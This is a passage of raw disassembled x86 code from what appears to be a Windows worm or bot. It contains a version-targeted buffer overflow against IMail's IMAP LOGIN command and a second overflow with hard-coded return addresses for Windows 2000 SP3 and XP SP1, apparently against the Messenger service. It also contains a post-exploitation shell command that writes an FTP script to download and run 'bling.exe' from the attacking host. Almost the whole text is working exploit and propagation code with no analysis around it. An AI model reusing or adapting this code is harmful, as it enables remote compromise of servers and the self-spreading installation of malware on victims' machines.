sub_409ECC+186j push eax lea eax, [ebp+var_1F8] push eax call sub_4171D0 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43DE3C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40A0C1: ; CODE XREF: sub_409ECC+C3j ; sub_409ECC+145j push 7D0h nop call near ptr 2690599h jmp loc_409F13 ; --------------------------------------------------------------------------- loc_40A0D1: ; CODE XREF: sub_409ECC+55j push esi call sub_40916F pop ecx push 0 call near ptr 2700000h nop loc_40A0E0: ; DATA XREF: sub_403038+33F8o ; sub_403038+47E9o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_445388 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4D31C0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_4097CE push 0Bh call sub_40909B add esp, 150h cmp eax, ebx jnz short loc_40A1AE mov esi, offset dword_4D51C0 push esi nop call near ptr 2700770h push 80000400h push esi call near ptr 2700538h nop test eax, eax jnz short loc_40A1AE lea eax, [ebp+var_1CC] push offset unk_43E684 push eax call sub_4171D0 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40A198 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_401445 add esp, 14h loc_40A198: ; CODE XREF: sub_409ECC+2ADj lea eax, [ebp+var_1CC] push eax call sub_410557 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40A1AE: ; CODE XREF: sub_409ECC+277j ; sub_409ECC+293j mov eax, [ebp+var_2C] mov esi, dword_4DD2CC mov edi, ebx mov dword_4D31C4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40A27B loc_40A1CC: ; CODE XREF: sub_409ECC+3A9j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_43E6B8 push eax call sub_4171D0 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_408E53 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_446214[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_409ECC push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_40A246 loc_40A23B: ; CODE XREF: sub_409ECC+378j cmp [ebp+var_4], ebx jnz short loc_40A26D push 1Eh call esi jmp short loc_40A23B ; --------------------------------------------------------------------------- loc_40A246: ; CODE XREF: sub_409ECC+36Dj nop call near ptr 26908EFh push eax lea eax, [ebp+var_1CC] push offset unk_43E6EC push eax call sub_4171D0 lea eax, [ebp+var_1CC] push eax call sub_410557 add esp, 10h loc_40A26D: ; CODE XREF: sub_409ECC+372j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40A1CC loc_40A27B: ; CODE XREF: sub_409ECC+2FAj cmp [ebp+var_30], ebx jz loc_40A325 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40A290: ; CODE XREF: sub_409ECC+464j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4D31C0[eax*8] push eax call dword_4453D4 push eax lea eax, [ebp+var_1CC] push offset unk_43E724 push eax call sub_4171D0 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40A2DE push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_401445 add esp, 14h loc_40A2DE: ; CODE XREF: sub_409ECC+3F3j lea eax, [ebp+var_1CC] push eax call sub_410557 mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4D31C4[eax*8], ebx call esi push 0Bh call sub_40909B cmp eax, 1 pop ecx jnz short loc_40A315 push offset dword_4D51C0 call near ptr 2700770h nop loc_40A315: ; CODE XREF: sub_409ECC+43Cj push [ebp+var_2C] call sub_40916F pop ecx push ebx nop call near ptr 2700000h loc_40A325: ; CODE XREF: sub_409ECC+3B2j ; sub_409ECC+471j mov eax, [ebp+var_2C] cmp dword_4D31C4[eax*8], 1 jnz loc_40A290 push 7D0h call esi jmp short loc_40A325 sub_409ECC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A33F proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417070 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_445348 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4453C8 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40A3FD lea eax, [ebp+var_10] push 10h push eax push esi call dword_4452F0 mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_44621C[ecx], esi jz short loc_40A3FD push [ebp+var_38] push [ebp+var_28] call dword_4453D4 push eax mov edi, offset dword_4D5AE4 push offset dword_43E764 push edi call sub_4171D0 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_401445 push edi call sub_410557 add esp, 28h loc_40A3FD: ; CODE XREF: sub_40A33F+5Dj ; sub_40A33F+7Ej push esi call dword_4453E0 pop edi xor eax, eax pop esi leave retn 4 sub_40A33F endp ; --------------------------------------------------------------------------- dword_40A40C dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_403038+4C06o dd 0FF4CBD8Dh, 0A5F3FFFFh, 0D2CC358Bh, 83C7004Dh, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 53D415FFh, 8D500044h, 0FFFECC85h dd 0E78C68FFh, 0E8500043h, 0CD78h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 60100500h, 0E8500044h dd 0D2F8h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40A33Fh, 6CE85757h, 90022964h, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 5BEDE8FCh, 0FF900226h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0E2E4h, 0FF0CC483h, 15FF0875h, 445270h dd 45895040h, 4415FF08h, 89004453h, 458D0845h, 50046A08h dd 50E0458Dh, 0E2BBE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40A4FD db 55h, 8Bh, 0ECh ; DATA XREF: sub_403038+48F9o dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 0CC358BA5h, 0C7004DD2h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 0D415FFE4h, 50004453h, 0FED0858Dh, 0B468FFFFh dd 500043E7h, 0CC87E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 10050000h, 50004460h, 0D207E8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40A33F68h, 0E8575700h dd 229637Bh, 89C73B90h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0E8900875h, 2265AFBh, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 0D415FFE4h, 50004453h, 0FED0858Dh, 0E068FFFFh dd 500043E7h, 0CBF7E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 6E4FE8FFh, 75FFFFFFh dd 0EB71E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 12Ch push ebx push esi push edi mov dword ptr [ebp-14h], 10h call sub_417B10 cdq mov ecx, 3E8h idiv ecx lea eax, [ebp+0Ch] push eax mov edi, edx add edi, 7D0h mov [ebp-20h], edi call dword_4453CC mov esi, eax test esi, esi jnz short loc_40A65D lea eax, [ebp+0Ch] push eax nop call near ptr 71AB12F8h cmp eax, 0FFFFFFFFh mov dword_4D5CEC, eax jz loc_40ACD2 loc_40A65D: ; CODE XREF: ___:0040A643j push 6 push 1 push 2 pop ebx push ebx call dword_4453C8 test eax, eax mov dword_4D5DF4, eax jz loc_40ACD2 test esi, esi jz short loc_40A694 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_4187B0 add esp, 0Ch jmp short loc_40A69C ; --------------------------------------------------------------------------- loc_40A694: ; CODE XREF: ___:0040A67Aj mov eax, dword_4D5CEC mov [ebp-0Ch], eax loc_40A69C: ; CODE XREF: ___:0040A692j test esi, esi jz short loc_40A6AA mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_40A6AE ; --------------------------------------------------------------------------- loc_40A6AA: ; CODE XREF: ___:0040A69Ej mov [ebp-10h], bx loc_40A6AE: ; CODE XREF: ___:0040A6A8j push dword ptr [ebp+0A8h] call dword_445348 push dword ptr [ebp+8] mov [ebp-0Eh], ax call sub_40267D pop ecx push eax call dword_445388 push edi mov esi, eax call dword_445348 movzx eax, ax xor eax, 7C1Fh push 4 mov [ebp-1Ch], eax lea eax, [ebp-18h] xor esi, 7C1F1AE0h push eax push offset dword_43E8D4 mov [ebp-18h], esi call sub_4187B0 lea eax, [ebp-1Ch] push ebx push eax push offset word_43E8DA call sub_4187B0 push 386h mov edi, offset dword_4D5DF8 push 90h push edi call sub_417070 push 0Ch push offset aA01Login ; "a01 LOGIN \"&" push edi call sub_4187B0 push 138h push offset dword_43E81C push offset dword_4D5EA4 call sub_4187B0 push 2Ah push offset loc_43E9F4 push offset dword_4D60C4 call sub_4187B0 add esp, 48h push 0Bh push offset dword_43EA20 push offset word_4D617E call sub_4187B0 add esp, 0Ch lea eax, [ebp-10h] push 10h push eax push dword_4D5DF4 call dword_4452F0 test eax, eax mov dword_4D5CF0, eax jnz loc_40ACD2 push eax mov esi, offset dword_4D5CF4 push 100h push esi push dword_4D5DF4 call dword_445360 push offset aImail ; "IMail" push esi mov dword_4D5CE8, eax call sub_417B50 pop ecx test eax, eax pop ecx jz loc_40ABA3 push offset a7_04 ; "7.04" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40A7EB push ebx push offset loc_43E958 push offset word_4D60B2 call sub_4187B0 push 4 push offset loc_43E95C loc_40A7E1: ; CODE XREF: ___:0040A813j ; ___:0040A84Ej ... push offset dword_4D60B4 jmp loc_40AB0C ; --------------------------------------------------------------------------- loc_40A7EB: ; CODE XREF: ___:0040A7C8j push offset a7_05 ; "7.05" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40A815 push ebx push offset loc_43E958 push offset word_4D60B2 call sub_4187B0 push 4 push offset dword_43E964 jmp short loc_40A7E1 ; --------------------------------------------------------------------------- loc_40A815: ; CODE XREF: ___:0040A7FAj push offset a7_06 ; "7.06" push esi call sub_417B50 pop ecx test eax, eax pop ecx jnz short loc_40A837 push offset a7_07 ; "7.07" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40A850 loc_40A837: ; CODE XREF: ___:0040A824j push ebx push offset loc_43E958 push offset word_4D60B2 call sub_4187B0 push 4 push offset nullsub_2 jmp short loc_40A7E1 ; --------------------------------------------------------------------------- loc_40A850: ; CODE XREF: ___:0040A835j push offset a7_10 ; "7.10" push esi call sub_417B50 pop ecx test eax, eax pop ecx jnz short loc_40A872 push offset a7_11 ; "7.11" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40A88E loc_40A872: ; CODE XREF: ___:0040A85Fj push ebx push offset loc_43E958 push offset word_4D60B2 call sub_4187B0 push 4 push offset dword_43E974 jmp loc_40A7E1 ; --------------------------------------------------------------------------- loc_40A88E: ; CODE XREF: ___:0040A870j push offset a7_12 ; "7.12" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40A8BB push ebx push offset loc_43E958 push offset word_4D60B2 call sub_4187B0 push 4 push offset dword_43E97C jmp loc_40A7E1 ; --------------------------------------------------------------------------- loc_40A8BB: ; CODE XREF: ___:0040A89Dj push offset a7_13 ; "7.13" push esi call sub_417B50 pop ecx test eax, eax pop ecx jnz short loc_40A8DD push offset a7_14 ; "7.14" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40A8F9 loc_40A8DD: ; CODE XREF: ___:0040A8CAj push ebx push offset loc_43E958 push offset word_4D60B2 call sub_4187B0 push 4 push offset dword_43E984 jmp loc_40A7E1 ; --------------------------------------------------------------------------- loc_40A8F9: ; CODE XREF: ___:0040A8DBj push offset a7_15 ; "7.15" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40A926 push ebx push offset loc_43E958 push offset word_4D60B2 call sub_4187B0 push 4 push offset dword_43E98C jmp loc_40A7E1 ; --------------------------------------------------------------------------- loc_40A926: ; CODE XREF: ___:0040A908j push offset a8_00 ; "8.00" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40A953 push ebx push offset loc_43E958 push offset word_4D60B2 call sub_4187B0 push 4 push offset dword_43E994 jmp loc_40A7E1 ; --------------------------------------------------------------------------- loc_40A953: ; CODE XREF: ___:0040A935j push offset a8_01 ; "8.01" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40A980 push ebx push offset loc_43E958 push offset word_4D60B2 call sub_4187B0 push 4 push offset dword_43E99C jmp loc_40A7E1 ; --------------------------------------------------------------------------- loc_40A980: ; CODE XREF: ___:0040A962j push offset a8_02 ; "8.02" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40A9AD push ebx push offset loc_43E958 push offset word_4D60B2 call sub_4187B0 push 4 push offset dword_43E9A4 jmp loc_40A7E1 ; --------------------------------------------------------------------------- loc_40A9AD: ; CODE XREF: ___:0040A98Fj push offset a8_03 ; "8.03" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40A9DA push ebx push offset loc_43E958 push offset word_4D60B2 call sub_4187B0 push 4 push offset dword_43E9AC jmp loc_40A7E1 ; --------------------------------------------------------------------------- loc_40A9DA: ; CODE XREF: ___:0040A9BCj push offset a8_04 ; "8.04" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40AA07 push ebx push offset loc_43E958 push offset word_4D60B2 call sub_4187B0 push 4 push offset dword_43E9B4 jmp loc_40A7E1 ; --------------------------------------------------------------------------- loc_40AA07: ; CODE XREF: ___:0040A9E9j push offset a8_05 ; "8.05" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40AA34 push ebx push offset loc_43E958 push offset word_4D60B2 call sub_4187B0 push 4 push offset dword_43E9BC jmp loc_40A7E1 ; --------------------------------------------------------------------------- loc_40AA34: ; CODE XREF: ___:0040AA16j push offset a8_10 ; "8.10" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40AA61 push ebx push offset loc_43E958 push offset word_4D60AA call sub_4187B0 push 4 push offset dword_43E9C4 jmp loc_40AB07 ; --------------------------------------------------------------------------- loc_40AA61: ; CODE XREF: ___:0040AA43j push offset a8_11 ; "8.11" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40AA8B push ebx push offset loc_43E958 push offset word_4D60AA call sub_4187B0 push 4 push offset dword_43E9CC jmp short loc_40AB07 ; --------------------------------------------------------------------------- loc_40AA8B: ; CODE XREF: ___:0040AA70j push offset a8_12 ; "8.12" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40AAB5 push ebx push offset loc_43E958 push offset word_4D60AA call sub_4187B0 push 4 push offset dword_43E9D4 jmp short loc_40AB07 ; --------------------------------------------------------------------------- loc_40AAB5: ; CODE XREF: ___:0040AA9Aj push offset a8_13 ; "8.13" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40AADF push ebx push offset loc_43E958 push offset word_4D60AA call sub_4187B0 push 4 push offset dword_43E9DC jmp short loc_40AB07 ; --------------------------------------------------------------------------- loc_40AADF: ; CODE XREF: ___:0040AAC4j push offset a8_14 ; "8.14" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40AB19 push ebx push offset loc_43E958 push offset word_4D60AA call sub_4187B0 push 4 push offset dword_43E9E4 loc_40AB07: ; CODE XREF: ___:0040AA5Cj ; ___:0040AA89j ... push offset dword_4D60AC loc_40AB0C: ; CODE XREF: ___:0040A7E6j call sub_4187B0 add esp, 18h jmp loc_40ABB4 ; --------------------------------------------------------------------------- loc_40AB19: ; CODE XREF: ___:0040AAEEj push offset a8_15 ; "8.15" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40AB43 push ebx push offset loc_43E958 push offset word_4D60AA call sub_4187B0 push 4 push offset dword_43E9EC jmp short loc_40AB07 ; --------------------------------------------------------------------------- loc_40AB43: ; CODE XREF: ___:0040AB28j push offset aHotfix2 ; "hotfix2" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40AB5F loc_40AB54: ; CODE XREF: ___:0040AB6Ej ; ___:0040AB7Fj ... push dword_4D5DF4 jmp loc_40ACCC ; --------------------------------------------------------------------------- loc_40AB5F: ; CODE XREF: ___:0040AB52j push offset a4_0 ; "4.0" push esi call sub_417B50 pop ecx test eax, eax pop ecx jnz short loc_40AB54 push offset a5_0 ; "5.0" push esi call sub_417B50 pop ecx test eax, eax pop ecx jnz short loc_40AB54 push offset a6_0 ; "6.0" push esi call sub_417B50 pop ecx test eax, eax pop ecx jnz short loc_40AB54 push offset a7_0 ; "7.0" push esi call sub_417B50 pop ecx pop ecx test eax, eax jmp short loc_40AB54 ; --------------------------------------------------------------------------- loc_40ABA3: ; CODE XREF: ___:0040A7B3j push offset aImail_0 ; "IMail" push esi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_40AB54 loc_40ABB4: ; CODE XREF: ___:0040AB14j mov esi, dword_4DD2CC push 64h call esi push 0 push edi call sub_414BE0 pop ecx push eax push edi push dword_4D5DF4 call dword_445398 push 64h call esi push dword ptr [ebp-20h] xor edi, edi mov [ebp-0Ch], edi call dword_445348 push 6 push 1 pop esi mov [ebp-0Eh], ax push esi push ebx call dword_4453C8 lea ecx, [ebp-10h] push 10h push ecx push eax mov dword_4D61F8, eax call dword_445374 cmp eax, edi mov dword_4D5CF0, eax jnz loc_40ACD2 push esi push dword_4D61F8 call dword_445370 cmp eax, edi mov dword_4D5CF0, eax jnz loc_40ACD2 mov eax, dword_4D61F8 mov dword ptr [ebp-28h], 8 mov [ebp-128h], eax lea eax, [ebp-28h] push eax push edi lea eax, [ebp-12Ch] push edi push eax push esi mov [ebp-24h], edi mov [ebp-12Ch], esi nop call near ptr 71AB1890h test eax, eax jle short loc_40ACD2 lea eax, [ebp-14h] push eax lea eax, [ebp-10h] push eax push dword_4D61F8 call dword_4453DC mov ecx, [ebp+0B0h] push eax shl ecx, 6 inc dword_43DE40[ecx] sub esp, 0BCh lea ecx, dword_43DE40[ecx] lea esi, [ebp+8] push 2Fh mov dword_4D61FC, eax pop ecx mov edi, esp rep movsd call sub_40ACD9 add esp, 0C0h push dword_4D5DF4 call dword_4453E0 push dword_4D61F8 call dword_4453E0 push dword_4D61FC loc_40ACCC: ; CODE XREF: ___:0040AB5Aj call dword_4453E0 loc_40ACD2: ; CODE XREF: ___:0040A657j ; ___:0040A672j ... pop edi pop esi xor eax, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ACD9 proc near ; CODE XREF: ___:0040ACA3p var_800 = byte ptr -800h var_400 = byte ptr -400h arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 800h push esi push edi mov edi, [ebp+arg_BC] mov esi, 400h push 0 lea eax, [ebp+var_800] push esi push eax push edi call dword_445360 cmp eax, 0FFFFFFFFh jz loc_40ADAC movzx eax, word ptr dword_4D3010 push eax push [ebp+arg_0] call sub_40267D pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_400] push esi push eax call sub_4172D0 add esp, 14h lea eax, [ebp+var_400] push 0 push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_400] push eax push edi call dword_445398 cmp eax, 0FFFFFFFFh jz short loc_40ADAC push 1F4h call near ptr 2690599h nop push offset aBling_exe ; "bling.exe\r\n" lea eax, [ebp+var_400] push esi push eax call sub_4172D0 add esp, 0Ch lea eax, [ebp+var_400] push 0 push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_400] push eax push edi call dword_445398 cmp eax, 0FFFFFFFFh jz short loc_40ADAC push 0 push esi push offset dword_4D5CF4 push edi call dword_445360 push edi call dword_4453E0 loc_40ADAC: ; CODE XREF: sub_40ACD9+2Aj ; sub_40ACD9+78j ... pop edi pop esi leave retn sub_40ACD9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 2060h call sub_417E20 push ebx push esi push edi push 5 pop ecx mov esi, offset aWindows2000Sp3 ; "Windows 2000 SP 3 (en)" lea edi, [ebp-60h] xor eax, eax rep movsd movsw movsb lea edi, [ebp-49h] push 5 stosd stosw stosb pop ecx mov esi, offset aWindowsXpSp1En ; "Windows XP SP 1 (en)" lea edi, [ebp-38h] mov dword ptr [ebp-40h], 77EE044Ch mov dword ptr [ebp-3Ch], 768D693Eh xor eax, eax rep movsd movsb lea edi, [ebp-23h] push 1 stosd stosd stosb lea eax, [ebp+0Ch] mov dword ptr [ebp-18h], 77ED73B4h push eax mov dword ptr [ebp-14h], 7804BF52h call sub_411949 pop ecx cmp eax, 1 pop ecx jz loc_40AF14 test eax, eax jz loc_40AF14 push 2 pop edi cmp eax, edi jnz short loc_40AE34 xor esi, esi jmp short loc_40AE3A ; --------------------------------------------------------------------------- loc_40AE34: ; CODE XREF: ___:0040AE2Ej mov esi, [ebp+0C0h] loc_40AE3A: ; CODE XREF: ___:0040AE32j cmp eax, 3 jnz short loc_40AE42 push 1 pop esi loc_40AE42: ; CODE XREF: ___:0040AE3Dj push 10h lea eax, [ebp-10h] push 0 push eax call sub_417070 add esp, 0Ch lea eax, [ebp+0Ch] mov [ebp-10h], di push eax call dword_445388 push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call dword_445348 mov [ebp-0Eh], ax lea eax, [esi+esi*4] shl eax, 3 push dword ptr [ebp+eax-40h] push dword ptr [ebp+eax-3Ch] lea eax, [ebp-2060h] push 2000h push eax call sub_40AF1B add esp, 10h mov ebx, eax push 11h push edi push edi call dword_4453C8 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40AF14 lea eax, [ebp-10h] push 10h push eax push 0 lea eax, [ebp-2060h] push ebx push eax push esi call dword_4453AC cmp eax, 0FFFFFFFFh jz short loc_40AF14 push esi call dword_4453E0 push 1F4h call near ptr 2690599h nop push 23E7h lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_4121EE add esp, 0C0h cmp al, 1 jnz short loc_40AF14 mov eax, [ebp+0B0h] push 1 shl eax, 6 inc dword_43DE40[eax] lea eax, dword_43DE40[eax] pop eax jmp short loc_40AF16 ; --------------------------------------------------------------------------- loc_40AF14: ; CODE XREF: ___:0040AE1Bj ; ___:0040AE23j ... xor eax, eax loc_40AF16: ; CODE XREF: ___:0040AF12j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF1B proc near ; CODE XREF: ___:0040AE8Dp var_13DC = byte ptr -13DCh var_13CC = byte ptr -13CCh var_11E8 = byte ptr -11E8h var_AE4 = byte ptr -0AE4h var_68E = byte ptr -68Eh var_683 = dword ptr -683h var_67F = dword ptr -67Fh var_67B = byte ptr -67Bh var_551 = byte ptr -551h var_54 = byte ptr -54h var_34 = byte ptr -34h var_24 = byte ptr -24h var_18 = byte ptr -18h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 13DCh call sub_417E20 push ebx push esi push edi mov esi, offset dword_43EDD8 lea edi, [ebp+var_10] push 7 movsd movsd movsd movsb mov esi, offset aNetmaniac ; "NETMANIAC" lea edi, [ebp+var_24] movsd movsd movsw mov esi, offset aAdik ; "ADIK" lea edi, [ebp+var_18] movsd movsb pop ecx mov esi, offset byte_43EDFC lea edi, [ebp+var_54] push [ebp+arg_4] rep movsd movsw movsb mov esi, offset byte_43EE1C lea edi, [ebp+var_34] movsd movsd movsd movsb mov esi, offset aMessage ; "*** MESSAGE ***" lea edi, [ebp+var_13DC] movsd movsd movsd movsd mov esi, [ebp+arg_0] xor eax, eax mov ecx, 4DEh lea edi, [ebp+var_13CC] push eax push esi rep stosd call sub_417070 push 50h push offset dword_43ED54 push esi call sub_4187B0 lea eax, [ebp+var_24] push eax call sub_414BE0 mov edi, eax lea eax, [ebp+var_10] push 0Ch push eax lea eax, [esi+50h] inc edi push eax mov [ebp+var_10], edi mov [ebp+var_8], edi call sub_4187B0 lea eax, [ebp+var_24] push eax lea eax, [esi+5Ch] push eax call sub_4184C0 dec edi lea eax, [ebp+var_18] and edi, 0FFFFFFFCh push eax add edi, 60h call sub_414BE0 mov ebx, eax push 0Ch inc ebx mov [ebp+var_10], ebx mov [ebp+var_8], ebx lea eax, [ebp+var_10] push eax lea eax, [edi+esi] push eax call sub_4187B0 add esp, 40h add edi, 0Ch lea eax, [ebp+var_18] push eax lea eax, [edi+esi] push eax call sub_4184C0 dec ebx push 8F8h and ebx, 0FFFFFFFCh lea eax, [ebp+var_13DC] push 90h push eax lea edi, [edi+ebx+4] call sub_417070 push 1E4h lea eax, [ebp+var_11E8] push offset loc_43EB70 push eax call sub_4187B0 push 708h lea eax, [ebp+var_AE4] push 14h push eax call sub_417070 lea eax, [ebp+var_34] push 0Dh push eax lea eax, [ebp+var_68E] push eax call sub_4187B0 mov eax, [ebp+arg_8] push 1Eh mov [ebp+var_683], eax mov eax, [ebp+arg_C] mov [ebp+var_67F], eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_67B] push eax call sub_4187B0 mov eax, 0E8Ch add esp, 44h sub eax, edi push eax push offset aMsgBodySizeD ; "[*] Msg body size: %d\n" push offset dword_4438E0 call sub_418240 lea eax, [ebp+var_551] sub eax, edi and byte ptr [eax], 0 lea eax, [ebp+var_13DC] push eax call sub_414BE0 mov ebx, eax lea eax, [ebp+var_10] push 0Ch push eax lea eax, [edi+esi] inc ebx push eax mov [ebp+var_10], ebx mov [ebp+var_8], ebx call sub_4187B0 add edi, 0Ch lea eax, [ebp+var_13DC] push eax lea eax, [edi+esi] push eax call sub_4184C0 push 0 add edi, ebx call sub_418BB0 mov [esi+28h], eax add esp, 28h lea eax, [edi-50h] mov [esi+4Ah], eax mov eax, edi pop edi pop esi pop ebx leave retn sub_40AF1B endp ; =============== S U B R O U T I N E ======================================= sub_40B0FF proc near ; CODE XREF: sub_40B3A1+Ep ; sub_40B3A1+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40B0FF endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push dword ptr [ebp+8] call sub_414BE0 pop ecx push eax lea ecx, [ebp-8] push dword ptr [ebp+8] call sub_40B137 mov ecx, [eax] mov [esi], ecx mov eax, [eax+4] mov [esi+4], eax mov eax, esi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= sub_40B137 proc near ; CODE XREF: ___:0040B121p ; sub_40B3A1+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_414DB0 mov edi, eax pop ecx test edi, edi jz short loc_40B169 push ebx push 0 push edi call sub_417070 push ebx push [esp+1Ch+arg_0] push edi call sub_4187B0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40B169: ; CODE XREF: sub_40B137+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40B137 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B171 proc near ; CODE XREF: sub_40B26B+18p ; sub_40B2E5+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_414DB0 mov esi, eax pop ecx test esi, esi jz short 